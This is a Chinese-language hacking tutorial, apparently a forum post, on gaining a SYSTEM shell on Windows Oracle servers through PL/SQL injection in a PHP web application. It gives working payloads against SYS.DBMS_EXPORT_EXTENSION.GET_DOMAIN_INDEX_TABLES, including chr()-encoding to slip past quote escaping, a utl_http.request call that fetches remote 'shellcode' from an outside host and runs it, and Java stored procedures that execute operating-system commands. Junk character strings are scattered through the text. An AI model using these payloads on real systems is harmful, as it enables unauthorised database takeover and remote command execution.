刚才说的另外一种思路是直接获得系统的shell,在windows环境下,oracle是以服务的形式启动的,这样通过web注射就可以直接获得system权限,是非常诱人的。我们来看看如何操作吧!首先当然要用到我们上面说到的系统中比较少见的pl/sql注射,另外为了说明在php环境下对注射的处理,我们现在来假设我们的入侵环境是在php+Oracle上面,并且防火墙已经限制了对oracle端口的直接访问,如果是开放的话用网络上的直接添加系统帐户的方法也很容易成功!
' m" G" i& k s2 U; J" X
6 R. K- {- _0 {6 E 首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的注射的一些简单解析
2 N8 l, @' T t' a4 ~' r4 o SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1); EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’’’CREATE USER TESTYOU IDENTIFIED BY TESTYOU ’’’’; END; ’’; END; --’,’SYS’,0,’1’,0)=’’
2 z8 q8 K9 [! F
. t0 g# S9 d8 Q9 G4 X 这是我看到的原形,分析下就知道是在第三个参数存在的注射,并且是因为"没有过滤造成的,把第三个参数提取出来就是
# @ o; x# _; A! c# \; T# J$ m Q8 e; K7 k
DBMS_OUTPUT".PUT(:P1); EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’’’CREATE USER TESTYOU IDENTIFIED BY TESTYOU ’’’’; END; ’’; END; --
7 H8 N% Z b6 Z) x4 J/ v8 x2 Z& ?& s) B* O5 U
可以看到DBMS_OUTPUT".PUT(:P1); 与END; --之间的所有部分都是原有漏洞注射语句的地方,里面是’’是因为我们要提交进’,但是外层将字符串括起来的正是’,所以需要对’进行转义,用的就是 ’’,后面可以看到用chr函数可以避免这一点。这里我们将要提取出来用在web Hacking上,这个函数提取出来的原形就是: SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1); [多语句]END; --’,’SYS’,0,’1’,0)
7 \3 T( N+ W( L( |! O0 i5 x
" ~9 @ o! x J2 F1 P! ~; ^ 我们要执行多语句,并且不希望见到会被php处理的’的话就要对这个进行简单地再变形,多语句里如果出现’的话需要用’’转义。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)|| [多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) % t7 D2 c3 \; @9 T! ~
6 \8 m6 Q6 h6 z. [! L4 M
没有出现’,并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是 list.php?username=loveshell’ and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)|| [多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) ! M( y- d' ?; q7 V9 J; z8 I
T1 I% O. _6 E( a1 a( Z4 e
呵呵,前面第一个loveshell’不被影响是因为会被转成loveshell\’,而这个被oracle看作是loveshell\这个字符串后面跟一个’,完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用
{! x4 i0 ^: |. @5 [5 w
% S; O# M. ^) J3 b: E/ p9 X list.php?username=loveshell’ and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)|| [一个非法的sql语句,如 chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0—
2 ~/ n" c" z1 m/ j$ \/ S6 R8 g7 ?: H) a7 F
如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧!
2 ^7 r- p, m1 h" y# \# {/ Z7 t$ u5 F9 h/ L3 K/ F7 I$ u
list.php?username=loveshell’ and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request(’http://www.loveshell.net/shellcode.txt’)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0— 1 g6 a, U; y5 n3 w
U$ k2 V# q1 F- Y0 K, U' k, P" E/ d 对,既然我们传的多语句只是字符串,为什么不把字符串放到远程的机器上然后用utl_http包取回来执行呢:),这里为了演示方便我并没有对 http://www.loveshell.net/shellcod.txt进行chr转换,实际php环境下还是需要转换的。
+ {7 a5 a/ C: x ?/ N( Y9 h# J& A0 E
好了,到这里我们能做到的是让Oracle将我远程机器上的一个文件作为PL/SQL运行了,很好,把前面的都放开,看如何利用现在的条件返回一个shell。查询相关的文档,知道比较通用一点返回shell的好方法是利用java外部存储过程,并且现在的除非是个人机器上,一般的都是支持 java的选项的,所以我们需要先来用java创建一个执行命令的存储过程。作为我们的shellcode需要变换一点东西,就是将必要的地方的’变成 ’’,为什么要这样前面讲过了。
5 r; B6 M R" ?! T2 m0 [( e4 R4 P* D5 i- p% V: g1 Q2 p
EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command); }}; ’’; END; ’;
# Y \' n; s3 D; d/ C& Q这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程, ; }/ @8 b& K; s
! d3 k) o! \% }; | EXECUTE IMMEDIATE ’DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ’’CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ’’’’JAVACMD.execCommand (java.lang.String)’’’’; ’’; END; ’; |